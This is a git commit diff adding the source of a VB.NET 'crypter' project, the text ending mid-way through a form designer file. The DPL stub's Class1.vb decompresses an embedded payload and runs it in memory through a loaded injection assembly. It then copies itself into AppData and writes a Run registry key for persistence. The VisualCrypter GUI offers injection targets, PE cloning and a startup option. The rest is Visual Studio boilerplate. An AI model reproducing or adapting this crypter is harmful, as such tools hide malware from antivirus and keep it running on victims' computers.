commit 07a49a8c50d21fd428710817f3415e358e3485c5 Author: i2p Date: Thu Aug 27 11:04:21 2026 -0600 initial commit diff --git a/.DS_Store b/.DS_Store new file mode 100644 index 0000000..3b69245 Binary files /dev/null and b/.DS_Store differ diff --git a/C# (Crypter Source/.DS_Store b/C# (Crypter Source/.DS_Store new file mode 100644 index 0000000..50f6c4b Binary files /dev/null and b/C# (Crypter Source/.DS_Store differ diff --git a/C# (Crypter Source/DPL/.DS_Store b/C# (Crypter Source/DPL/.DS_Store new file mode 100644 index 0000000..d3ea340 Binary files /dev/null and b/C# (Crypter Source/DPL/.DS_Store differ diff --git a/C# (Crypter Source/DPL/.vs/DPL/v14/.suo b/C# (Crypter Source/DPL/.vs/DPL/v14/.suo new file mode 100644 index 0000000..838628b Binary files /dev/null and b/C# (Crypter Source/DPL/.vs/DPL/v14/.suo differ diff --git a/C# (Crypter Source/DPL/DPL.sln b/C# (Crypter Source/DPL/DPL.sln new file mode 100644 index 0000000..fc53c70 --- /dev/null +++ b/C# (Crypter Source/DPL/DPL.sln @@ -0,0 +1,28 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 14 +VisualStudioVersion = 14.0.25123.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "DPL", "DPL\DPL.vbproj", "{5E4A498C-2146-4F31-91AD-036D683BCAA8}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Debug|x86 = Debug|x86 + Release|Any CPU = Release|Any CPU + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {5E4A498C-2146-4F31-91AD-036D683BCAA8}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {5E4A498C-2146-4F31-91AD-036D683BCAA8}.Debug|Any CPU.Build.0 = Debug|Any CPU + {5E4A498C-2146-4F31-91AD-036D683BCAA8}.Debug|x86.ActiveCfg = Debug|x86 + {5E4A498C-2146-4F31-91AD-036D683BCAA8}.Debug|x86.Build.0 = Debug|x86 + {5E4A498C-2146-4F31-91AD-036D683BCAA8}.Release|Any CPU.ActiveCfg = Release|Any CPU + {5E4A498C-2146-4F31-91AD-036D683BCAA8}.Release|Any CPU.Build.0 = Release|Any CPU + {5E4A498C-2146-4F31-91AD-036D683BCAA8}.Release|x86.ActiveCfg = Release|x86 + {5E4A498C-2146-4F31-91AD-036D683BCAA8}.Release|x86.Build.0 = Release|x86 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/C# (Crypter Source/DPL/DPL/.DS_Store b/C# (Crypter Source/DPL/DPL/.DS_Store new file mode 100644 index 0000000..07d19f1 Binary files /dev/null and b/C# (Crypter Source/DPL/DPL/.DS_Store differ diff --git a/C# (Crypter Source/DPL/DPL/Class1.vb b/C# (Crypter Source/DPL/DPL/Class1.vb new file mode 100644 index 0000000..148d2ff --- /dev/null +++ b/C# (Crypter Source/DPL/DPL/Class1.vb @@ -0,0 +1,62 @@ +Imports System, Microsoft.VisualBasic +Imports Microsoft.VisualBasic.CompilerServices +Imports System.Reflection +Imports System.Text +Imports System.IO.Compression +Imports System.IO +Imports System.Runtime.InteropServices +Imports System.Windows.Forms + +Public Class Cls + + Public Shared Sub Mth(ByVal str As String) + Try + + Dim asm As Assembly = Assembly.Load(My.Resources.CL1) + Dim file As Byte() = retrieveFile() + Dim typ As Type = asm.GetType("Win32") + typ.GetMethod("Run").Invoke(Nothing, New Object() {file, Nothing}) + + Dim startup() As String = Split(str, "/") + If startup(0) = "T" Then + Dim appdata As String = Environ("appdata") + Dim start_name As String = startup(1) + Dim install_path As String = appdata & "\" & start_name & ".exe" + If Not IO.File.Exists(install_path) Then + IO.File.Copy(Application.ExecutablePath, install_path) + Threading.Thread.Sleep(5000) + + Dim regKey As Microsoft.Win32.RegistryKey + regKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True) + regKey.SetValue(start_name, """" & install_path & """") + regKey.Close() + End If + End If + Catch ex As Exception + MsgBox(ex.Message) + End Try + End Sub + + Public Shared Function Decompress(data As Byte()) As Byte() + Dim input As New MemoryStream() + input.Write(data, 0, data.Length) + input.Position = 0 + Dim gzip As New GZipStream(input, CompressionMode.Decompress, True) + Dim output As New MemoryStream() + Dim buff As Byte() = New Byte(63) {} + Dim read As Integer = -1 + read = gzip.Read(buff, 0, buff.Length) + While read > 0 + output.Write(buff, 0, read) + read = gzip.Read(buff, 0, buff.Length) + End While + gzip.Close() + Return output.ToArray() + End Function + + Public Shared Function retrieveFile() As Byte() + Dim res_Man As New Resources.ResourceManager("2016", Reflection.Assembly.GetEntryAssembly) + Return Decompress(res_Man.GetObject("text")) + End Function + +End Class \ No newline at end of file diff --git a/C# (Crypter Source/DPL/DPL/DPL.vbproj b/C# (Crypter Source/DPL/DPL/DPL.vbproj new file mode 100644 index 0000000..f040f23 --- /dev/null +++ b/C# (Crypter Source/DPL/DPL/DPL.vbproj @@ -0,0 +1,119 @@ + + + + + Debug + AnyCPU + {5E4A498C-2146-4F31-91AD-036D683BCAA8} + Library + + + DPL + 512 + Windows + v2.0 + + + true + full + true + true + bin\Debug\ + + + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + + + pdbonly + false + true + true + bin\Release\ + + + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + + + On + + + Binary + + + Off + + + On + + + x86 + bin\x86\Debug\ + + + x86 + bin\x86\Release\ + true + + + + + + + + + + + + + + + + + + + + True + Application.myapp + + + True + True + Resources.resx + + + True + Settings.settings + True + + + + + VbMyResourcesResXFileCodeGenerator + Resources.Designer.vb + My.Resources + Designer + + + + + MyApplicationCodeGenerator + Application.Designer.vb + + + SettingsSingleFileGenerator + My + Settings.Designer.vb + + + + + + + + \ No newline at end of file diff --git a/C# (Crypter Source/DPL/DPL/DPL.vbproj.user b/C# (Crypter Source/DPL/DPL/DPL.vbproj.user new file mode 100644 index 0000000..53b551a --- /dev/null +++ b/C# (Crypter Source/DPL/DPL/DPL.vbproj.user @@ -0,0 +1,3 @@ + + + \ No newline at end of file diff --git a/C# (Crypter Source/DPL/DPL/My Project/Application.Designer.vb b/C# (Crypter Source/DPL/DPL/My Project/Application.Designer.vb new file mode 100644 index 0000000..db8b8b3 --- /dev/null +++ b/C# (Crypter Source/DPL/DPL/My Project/Application.Designer.vb @@ -0,0 +1,13 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.42000 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + diff --git a/C# (Crypter Source/DPL/DPL/My Project/Application.myapp b/C# (Crypter Source/DPL/DPL/My Project/Application.myapp new file mode 100644 index 0000000..0167050 --- /dev/null +++ b/C# (Crypter Source/DPL/DPL/My Project/Application.myapp @@ -0,0 +1,10 @@ + + + false + false + 0 + true + 0 + 1 + true + diff --git a/C# (Crypter Source/DPL/DPL/My Project/AssemblyInfo.vb b/C# (Crypter Source/DPL/DPL/My Project/AssemblyInfo.vb new file mode 100644 index 0000000..c4448d1 --- /dev/null +++ b/C# (Crypter Source/DPL/DPL/My Project/AssemblyInfo.vb @@ -0,0 +1,35 @@ +Imports System +Imports System.Reflection +Imports System.Runtime.InteropServices + +' General Information about an assembly is controlled through the following +' set of attributes. Change these attribute values to modify the information +' associated with an assembly. + +' Review the values of the assembly attributes + + + + + + + + + + +'The following GUID is for the ID of the typelib if this project is exposed to COM + + +' Version information for an assembly consists of the following four values: +' +' Major Version +' Minor Version +' Build Number +' Revision +' +' You can specify all the values or you can default the Build and Revision Numbers +' by using the '*' as shown below: +' + + + diff --git a/C# (Crypter Source/DPL/DPL/My Project/Resources.Designer.vb b/C# (Crypter Source/DPL/DPL/My Project/Resources.Designer.vb new file mode 100644 index 0000000..17b79f6 --- /dev/null +++ b/C# (Crypter Source/DPL/DPL/My Project/Resources.Designer.vb @@ -0,0 +1,73 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.42000 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + +Imports System + +Namespace My.Resources + + 'This class was auto-generated by the StronglyTypedResourceBuilder + 'class via a tool like ResGen or Visual Studio. + 'To add or remove a member, edit your .ResX file then rerun ResGen + 'with the /str option, or rebuild your VS project. + ''' + ''' A strongly-typed resource class, for looking up localized strings, etc. + ''' + _ + Friend Module Resources + + Private resourceMan As Global.System.Resources.ResourceManager + + Private resourceCulture As Global.System.Globalization.CultureInfo + + ''' + ''' Returns the cached ResourceManager instance used by this class. + ''' + _ + Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager + Get + If Object.ReferenceEquals(resourceMan, Nothing) Then + Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("Resources", GetType(Resources).Assembly) + resourceMan = temp + End If + Return resourceMan + End Get + End Property + + ''' + ''' Overrides the current thread's CurrentUICulture property for all + ''' resource lookups using this strongly typed resource class. + ''' + _ + Friend Property Culture() As Global.System.Globalization.CultureInfo + Get + Return resourceCulture + End Get + Set + resourceCulture = value + End Set + End Property + + ''' + ''' Looks up a localized resource of type System.Byte[]. + ''' + Friend ReadOnly Property CL1() As Byte() + Get + Dim obj As Object = ResourceManager.GetObject("CL1", resourceCulture) + Return CType(obj,Byte()) + End Get + End Property + End Module +End Namespace diff --git a/C# (Crypter Source/DPL/DPL/My Project/Resources.resx b/C# (Crypter Source/DPL/DPL/My Project/Resources.resx new file mode 100644 index 0000000..4b0507b --- /dev/null +++ b/C# (Crypter Source/DPL/DPL/My Project/Resources.resx @@ -0,0 +1,124 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + ..\Resources\CL1.dll;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/C# (Crypter Source/DPL/DPL/My Project/Settings.Designer.vb b/C# (Crypter Source/DPL/DPL/My Project/Settings.Designer.vb new file mode 100644 index 0000000..94af1a1 --- /dev/null +++ b/C# (Crypter Source/DPL/DPL/My Project/Settings.Designer.vb @@ -0,0 +1,73 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.42000 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + _ + Partial Friend NotInheritable Class MySettings + Inherits Global.System.Configuration.ApplicationSettingsBase + + Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings) + +#Region "My.Settings Auto-Save Functionality" +#If _MyType = "WindowsForms" Then + Private Shared addedHandler As Boolean + + Private Shared addedHandlerLockObject As New Object + + _ + Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs) + If My.Application.SaveMySettingsOnExit Then + My.Settings.Save() + End If + End Sub +#End If +#End Region + + Public Shared ReadOnly Property [Default]() As MySettings + Get + +#If _MyType = "WindowsForms" Then + If Not addedHandler Then + SyncLock addedHandlerLockObject + If Not addedHandler Then + AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings + addedHandler = True + End If + End SyncLock + End If +#End If + Return defaultInstance + End Get + End Property + End Class +End Namespace + +Namespace My + + _ + Friend Module MySettingsProperty + + _ + Friend ReadOnly Property Settings() As Global.My.MySettings + Get + Return Global.My.MySettings.Default + End Get + End Property + End Module +End Namespace diff --git a/C# (Crypter Source/DPL/DPL/My Project/Settings.settings b/C# (Crypter Source/DPL/DPL/My Project/Settings.settings new file mode 100644 index 0000000..377f56d --- /dev/null +++ b/C# (Crypter Source/DPL/DPL/My Project/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/C# (Crypter Source/DPL/DPL/Resources/CL1.dll b/C# (Crypter Source/DPL/DPL/Resources/CL1.dll new file mode 100644 index 0000000..61bac2a Binary files /dev/null and b/C# (Crypter Source/DPL/DPL/Resources/CL1.dll differ diff --git a/C# (Crypter Source/VisualCrypter/.DS_Store b/C# (Crypter Source/VisualCrypter/.DS_Store new file mode 100644 index 0000000..94beaa2 Binary files /dev/null and b/C# (Crypter Source/VisualCrypter/.DS_Store differ diff --git a/C# (Crypter Source/VisualCrypter/.vs/VisualCrypter/v14/.suo b/C# (Crypter Source/VisualCrypter/.vs/VisualCrypter/v14/.suo new file mode 100644 index 0000000..de9df92 Binary files /dev/null and b/C# (Crypter Source/VisualCrypter/.vs/VisualCrypter/v14/.suo differ diff --git a/C# (Crypter Source/VisualCrypter/VisualCrypter.sln b/C# (Crypter Source/VisualCrypter/VisualCrypter.sln new file mode 100644 index 0000000..f0d02d8 --- /dev/null +++ b/C# (Crypter Source/VisualCrypter/VisualCrypter.sln @@ -0,0 +1,28 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.30110.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "VisualCrypter", "VisualCrypter\VisualCrypter.vbproj", "{F8C9981E-A7C6-4CDD-B491-B2294243D01A}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Debug|x86 = Debug|x86 + Release|Any CPU = Release|Any CPU + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {F8C9981E-A7C6-4CDD-B491-B2294243D01A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {F8C9981E-A7C6-4CDD-B491-B2294243D01A}.Debug|Any CPU.Build.0 = Debug|Any CPU + {F8C9981E-A7C6-4CDD-B491-B2294243D01A}.Debug|x86.ActiveCfg = Debug|x86 + {F8C9981E-A7C6-4CDD-B491-B2294243D01A}.Debug|x86.Build.0 = Debug|x86 + {F8C9981E-A7C6-4CDD-B491-B2294243D01A}.Release|Any CPU.ActiveCfg = Release|Any CPU + {F8C9981E-A7C6-4CDD-B491-B2294243D01A}.Release|Any CPU.Build.0 = Release|Any CPU + {F8C9981E-A7C6-4CDD-B491-B2294243D01A}.Release|x86.ActiveCfg = Release|x86 + {F8C9981E-A7C6-4CDD-B491-B2294243D01A}.Release|x86.Build.0 = Release|x86 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/C# (Crypter Source/VisualCrypter/VisualCrypter.suo b/C# (Crypter Source/VisualCrypter/VisualCrypter.suo new file mode 100644 index 0000000..cc651ec Binary files /dev/null and b/C# (Crypter Source/VisualCrypter/VisualCrypter.suo differ diff --git a/C# (Crypter Source/VisualCrypter/VisualCrypter.v12.suo b/C# (Crypter Source/VisualCrypter/VisualCrypter.v12.suo new file mode 100644 index 0000000..1251e44 Binary files /dev/null and b/C# (Crypter Source/VisualCrypter/VisualCrypter.v12.suo differ diff --git a/C# (Crypter Source/VisualCrypter/VisualCrypter/.DS_Store b/C# (Crypter Source/VisualCrypter/VisualCrypter/.DS_Store new file mode 100644 index 0000000..62f5805 Binary files /dev/null and b/C# (Crypter Source/VisualCrypter/VisualCrypter/.DS_Store differ diff --git a/C# (Crypter Source/VisualCrypter/VisualCrypter/Gnome-Applications-System.ico b/C# (Crypter Source/VisualCrypter/VisualCrypter/Gnome-Applications-System.ico new file mode 100644 index 0000000..b2820a3 Binary files /dev/null and b/C# (Crypter Source/VisualCrypter/VisualCrypter/Gnome-Applications-System.ico differ diff --git a/C# (Crypter Source/VisualCrypter/VisualCrypter/Index.Designer.vb b/C# (Crypter Source/VisualCrypter/VisualCrypter/Index.Designer.vb new file mode 100644 index 0000000..a2aae64 --- /dev/null +++ b/C# (Crypter Source/VisualCrypter/VisualCrypter/Index.Designer.vb @@ -0,0 +1,723 @@ + _ +Partial Class Index + Inherits System.Windows.Forms.Form + + 'Form overrides dispose to clean up the component list. + _ + Protected Overrides Sub Dispose(ByVal disposing As Boolean) + Try + If disposing AndAlso components IsNot Nothing Then + components.Dispose() + End If + Finally + MyBase.Dispose(disposing) + End Try + End Sub + + 'Required by the Windows Form Designer + Private components As System.ComponentModel.IContainer + + 'NOTE: The following procedure is required by the Windows Form Designer + 'It can be modified using the Windows Form Designer. + 'Do not modify it using the code editor. + _ + Private Sub InitializeComponent() + Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Index)) + Me.Theme1 = New VisualCrypter.Theme() + Me.VsButton6 = New VisualCrypter.VSButton() + Me.VsGroupBox4 = New VisualCrypter.VSGroupBox() + Me.VsTextBox13 = New VisualCrypter.VSTextBox() + Me.VsCheckbox1 = New VisualCrypter.VSCheckbox() + Me.VsGroupBox3 = New VisualCrypter.VSGroupBox() + Me.VsRadiobutton3 = New VisualCrypter.VSRadiobutton() + Me.VsRadiobutton2 = New VisualCrypter.VSRadiobutton() + Me.VsRadiobutton1 = New VisualCrypter.VSRadiobutton() + Me.VsGroupBox2 = New VisualCrypter.VSGroupBox() + Me.VsButton7 = New VisualCrypter.VSButton() + Me.VsButton5 = New VisualCrypter.VSButton() + Me.Label6 = New System.Windows.Forms.Label() + Me.Label7 = New System.Windows.Forms.Label() + Me.Label8 = New System.Windows.Forms.Label() + Me.Label9 = New System.Windows.Forms.Label() + Me.Label10 = New System.Windows.Forms.Label() + Me.VsTextBox9 = New VisualCrypter.VSTextBox() + Me.VsTextBox8 = New VisualCrypter.VSTextBox() + Me.VsTextBox7 = New VisualCrypter.VSTextBox() + Me.VsTextBox6 = New VisualCrypter.VSTextBox() + Me.VsTextBox5 = New VisualCrypter.VSTextBox() + Me.Label5 = New System.Windows.Forms.Label() + Me.Label4 = New System.Windows.Forms.Label() + Me.Label3 = New System.Windows.Forms.Label() + Me.Label2 = New System.Windows.Forms.Label() + Me.Label1 = New System.Windows.Forms.Label() + Me.VsButton4 = New VisualCrypter.VSButton() + Me.VsTextBox4 = New VisualCrypter.VSTextBox() + Me.PictureBox1 = New System.Windows.Forms.PictureBox() + Me.VsGroupBox1 = New VisualCrypter.VSGroupBox() + Me.VsButton3 = New VisualCrypter.VSButton() + Me.VsTextBox3 = New VisualCrypter.VSTextBox() + Me.VsButton2 = New VisualCrypter.VSButton() + Me.VsTextBox2 = New VisualCrypter.VSTextBox() + Me.VsButton1 = New VisualCrypter.VSButton() + Me.VsTextBox1 = New VisualCrypter.VSTextBox() + Me.VsControlBox1 = New VisualCrypter.VSControlBox() + Me.Theme1.SuspendLayout() + Me.VsGroupBox4.SuspendLayout() + Me.VsGroupBox3.SuspendLayout() + Me.VsGroupBox2.SuspendLayout() + CType(Me.PictureBox1, System.ComponentModel.ISupportInitialize).BeginInit() + Me.VsGroupBox1.SuspendLayout() + Me.SuspendLayout() + ' + 'Theme1 + ' + Me.Theme1.BackColor = System.Drawing.Color.FromArgb(CType(CType(37, Byte), Integer), CType(CType(37, Byte), Integer), CType(CType(38, Byte), Integer)) + Me.Theme1.BorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.Theme1.Controls.Add(Me.VsButton6) + Me.Theme1.Controls.Add(Me.VsGroupBox4) + Me.Theme1.Controls.Add(Me.VsGroupBox3) + Me.Theme1.Controls.Add(Me.VsGroupBox2) + Me.Theme1.Controls.Add(Me.VsGroupBox1) + Me.Theme1.Controls.Add(Me.VsControlBox1) + Me.Theme1.Customization = "MC0t/3Fxcf8=" + Me.Theme1.Dock = System.Windows.Forms.DockStyle.Fill + Me.Theme1.Font = New System.Drawing.Font("Segoe UI", 11.0!) + Me.Theme1.Image = Nothing + Me.Theme1.Location = New System.Drawing.Point(0, 0) + Me.Theme1.Movable = True + Me.Theme1.Name = "Theme1" + Me.Theme1.NoRounding = False + Me.Theme1.Sizable = True + Me.Theme1.Size = New System.Drawing.Size(672, 358) + Me.Theme1.SmartBounds = True + Me.Theme1.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen + Me.Theme1.TabIndex = 0 + Me.Theme1.Text = "Theme1" + Me.Theme1.TransparencyKey = System.Drawing.Color.Empty + Me.Theme1.Transparent = False + ' + 'VsButton6 + ' + Me.VsButton6.Customization = "Qj4+/zQzM///////mZmZ/8xwAP8=" + Me.VsButton6.Font = New System.Drawing.Font("Verdana", 18.0!) + Me.VsButton6.Image = Nothing + Me.VsButton6.Location = New System.Drawing.Point(241, 299) + Me.VsButton6.Name = "VsButton6" + Me.VsButton6.NoRounding = False + Me.VsButton6.Size = New System.Drawing.Size(202, 40) + Me.VsButton6.TabIndex = 5 + Me.VsButton6.Text = "Protect" + Me.VsButton6.Transparent = False + ' + 'VsGroupBox4 + ' + Me.VsGroupBox4.BorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.VsGroupBox4.Controls.Add(Me.VsTextBox13) + Me.VsGroupBox4.Controls.Add(Me.VsCheckbox1) + Me.VsGroupBox4.Customization = "NzMz//////8=" + Me.VsGroupBox4.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VsGroupBox4.Image = Nothing + Me.VsGroupBox4.Location = New System.Drawing.Point(14, 220) + Me.VsGroupBox4.Movable = True + Me.VsGroupBox4.Name = "VsGroupBox4" + Me.VsGroupBox4.NoRounding = False + Me.VsGroupBox4.Sizable = True + Me.VsGroupBox4.Size = New System.Drawing.Size(325, 71) + Me.VsGroupBox4.SmartBounds = True + Me.VsGroupBox4.StartPosition = System.Windows.Forms.FormStartPosition.Manual + Me.VsGroupBox4.TabIndex = 4 + Me.VsGroupBox4.Text = "Options :" + Me.VsGroupBox4.TransparencyKey = System.Drawing.Color.Empty + Me.VsGroupBox4.Transparent = False + ' + 'VsTextBox13 + ' + Me.VsTextBox13.Customization = "/////0Y/P/8AAAD/Wlpa/w==" + Me.VsTextBox13.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VsTextBox13.Image = Nothing + Me.VsTextBox13.Location = New System.Drawing.Point(174, 25) + Me.VsTextBox13.MaxLength = 32767 + Me.VsTextBox13.Multiline = False + Me.VsTextBox13.Name = "VsTextBox13" + Me.VsTextBox13.NoRounding = False + Me.VsTextBox13.ReadOnly = False + Me.VsTextBox13.Size = New System.Drawing.Size(104, 24) + Me.VsTextBox13.TabIndex = 1 + Me.VsTextBox13.Text = "StartupKey" + Me.VsTextBox13.TextAlign = System.Windows.Forms.HorizontalAlignment.Left + Me.VsTextBox13.Transparent = False + Me.VsTextBox13.UseSystemPasswordChar = False + ' + 'VsCheckbox1 + ' + Me.VsCheckbox1.Checked = False + Me.VsCheckbox1.Colors = New VisualCrypter.Bloom(-1) {} + Me.VsCheckbox1.Customization = "" + Me.VsCheckbox1.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VsCheckbox1.Image = Nothing + Me.VsCheckbox1.Location = New System.Drawing.Point(21, 30) + Me.VsCheckbox1.Name = "VsCheckbox1" + Me.VsCheckbox1.NoRounding = False + Me.VsCheckbox1.Size = New System.Drawing.Size(106, 16) + Me.VsCheckbox1.TabIndex = 0 + Me.VsCheckbox1.Text = "Enable Startup" + Me.VsCheckbox1.Transparent = False + ' + 'VsGroupBox3 + ' + Me.VsGroupBox3.BorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.VsGroupBox3.Controls.Add(Me.VsRadiobutton3) + Me.VsGroupBox3.Controls.Add(Me.VsRadiobutton2) + Me.VsGroupBox3.Controls.Add(Me.VsRadiobutton1) + Me.VsGroupBox3.Customization = "NzMz//////8=" + Me.VsGroupBox3.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VsGroupBox3.Image = Nothing + Me.VsGroupBox3.Location = New System.Drawing.Point(14, 164) + Me.VsGroupBox3.Movable = True + Me.VsGroupBox3.Name = "VsGroupBox3" + Me.VsGroupBox3.NoRounding = False + Me.VsGroupBox3.Sizable = True + Me.VsGroupBox3.Size = New System.Drawing.Size(325, 50) + Me.VsGroupBox3.SmartBounds = True + Me.VsGroupBox3.StartPosition = System.Windows.Forms.FormStartPosition.Manual + Me.VsGroupBox3.TabIndex = 3 + Me.VsGroupBox3.Text = "Injection :" + Me.VsGroupBox3.TransparencyKey = System.Drawing.Color.Empty + Me.VsGroupBox3.Transparent = False + ' + 'VsRadiobutton3 + ' + Me.VsRadiobutton3.Checked = False + Me.VsRadiobutton3.Customization = "/////5mZmf/MegD/" + Me.VsRadiobutton3.Enabled = False + Me.VsRadiobutton3.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VsRadiobutton3.Image = Nothing + Me.VsRadiobutton3.Location = New System.Drawing.Point(239, 23) + Me.VsRadiobutton3.Name = "VsRadiobutton3" + Me.VsRadiobutton3.NoRounding = False + Me.VsRadiobutton3.Size = New System.Drawing.Size(68, 16) + Me.VsRadiobutton3.TabIndex = 2 + Me.VsRadiobutton3.Text = "Regasm" + Me.VsRadiobutton3.Transparent = False + ' + 'VsRadiobutton2 + ' + Me.VsRadiobutton2.Checked = False + Me.VsRadiobutton2.Customization = "/////5mZmf/MegD/" + Me.VsRadiobutton2.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VsRadiobutton2.Image = Nothing + Me.VsRadiobutton2.Location = New System.Drawing.Point(132, 23) + Me.VsRadiobutton2.Name = "VsRadiobutton2" + Me.VsRadiobutton2.NoRounding = False + Me.VsRadiobutton2.Size = New System.Drawing.Size(46, 16) + Me.VsRadiobutton2.TabIndex = 1 + Me.VsRadiobutton2.Text = "VBC" + Me.VsRadiobutton2.Transparent = False + ' + 'VsRadiobutton1 + ' + Me.VsRadiobutton1.Checked = True + Me.VsRadiobutton1.Customization = "/////5mZmf/MegD/" + Me.VsRadiobutton1.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VsRadiobutton1.Image = Nothing + Me.VsRadiobutton1.Location = New System.Drawing.Point(19, 23) + Me.VsRadiobutton1.Name = "VsRadiobutton1" + Me.VsRadiobutton1.NoRounding = False + Me.VsRadiobutton1.Size = New System.Drawing.Size(52, 16) + Me.VsRadiobutton1.TabIndex = 0 + Me.VsRadiobutton1.Text = "Itself" + Me.VsRadiobutton1.Transparent = False + ' + 'VsGroupBox2 + ' + Me.VsGroupBox2.BorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.VsGroupBox2.Controls.Add(Me.VsButton7) + Me.VsGroupBox2.Controls.Add(Me.VsButton5) + Me.VsGroupBox2.Controls.Add(Me.Label6) + Me.VsGroupBox2.Controls.Add(Me.Label7) + Me.VsGroupBox2.Controls.Add(Me.Label8) + Me.VsGroupBox2.Controls.Add(Me.Label9) + Me.VsGroupBox2.Controls.Add(Me.Label10) + Me.VsGroupBox2.Controls.Add(Me.VsTextBox9) + Me.VsGroupBox2.Controls.Add(Me.VsTextBox8) + Me.VsGroupBox2.Controls.Add(Me.VsTextBox7) + Me.VsGroupBox2.Controls.Add(Me.VsTextBox6) + Me.VsGroupBox2.Controls.Add(Me.VsTextBox5) + Me.VsGroupBox2.Controls.Add(Me.Label5) + Me.VsGroupBox2.Controls.Add(Me.Label4) + Me.VsGroupBox2.Controls.Add(Me.Label3) + Me.VsGroupBox2.Controls.Add(Me.Label2) + Me.VsGroupBox2.Controls.Add(Me.Label1) + Me.VsGroupBox2.Controls.Add(Me.VsButton4) + Me.VsGroupBox2.Controls.Add(Me.VsTextBox4) + Me.VsGroupBox2.Controls.Add(Me.PictureBox1) + Me.VsGroupBox2.Customization = "NzMz//////8=" + Me.VsGroupBox2.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VsGroupBox2.Image = Nothing + Me.VsGroupBox2.Location = New System.Drawing.Point(345, 40) + Me.VsGroupBox2.Movable = True + Me.VsGroupBox2.Name = "VsGroupBox2" + Me.VsGroupBox2.NoRounding = False + Me.VsGroupBox2.Sizable = True + Me.VsGroupBox2.Size = New System.Drawing.Size(313, 251) + Me.VsGroupBox2.SmartBounds = True + Me.VsGroupBox2.StartPosition = System.Windows.Forms.FormStartPosition.Manual + Me.VsGroupBox2.TabIndex = 2 + Me.VsGroupBox2.Text = "Assembly Info :" + Me.VsGroupBox2.TransparencyKey = System.Drawing.Color.Empty + Me.VsGroupBox2.Transparent = False + ' + 'VsButton7 + ' + Me.VsButton7.Customization = "Qj4+/zQzM///////mZmZ/8xwAP8=" + Me.VsButton7.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VsButton7.Image = Nothing + Me.VsButton7.Location = New System.Drawing.Point(64, 216) + Me.VsButton7.Name = "VsButton7" + Me.VsButton7.NoRounding = False + Me.VsButton7.Size = New System.Drawing.Size(95, 25) + Me.VsButton7.TabIndex = 23 + Me.VsButton7.Text = "Clone PE" + Me.VsButton7.Transparent = False + ' + 'VsButton5 + ' + Me.VsButton5.Customization = "Qj4+/zQzM///////mZmZ/8xwAP8=" + Me.VsButton5.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VsButton5.Image = Nothing + Me.VsButton5.Location = New System.Drawing.Point(194, 216) + Me.VsButton5.Name = "VsButton5" + Me.VsButton5.NoRounding = False + Me.VsButton5.Size = New System.Drawing.Size(90, 25) + Me.VsButton5.TabIndex = 22 + Me.VsButton5.Text = "Reset" + 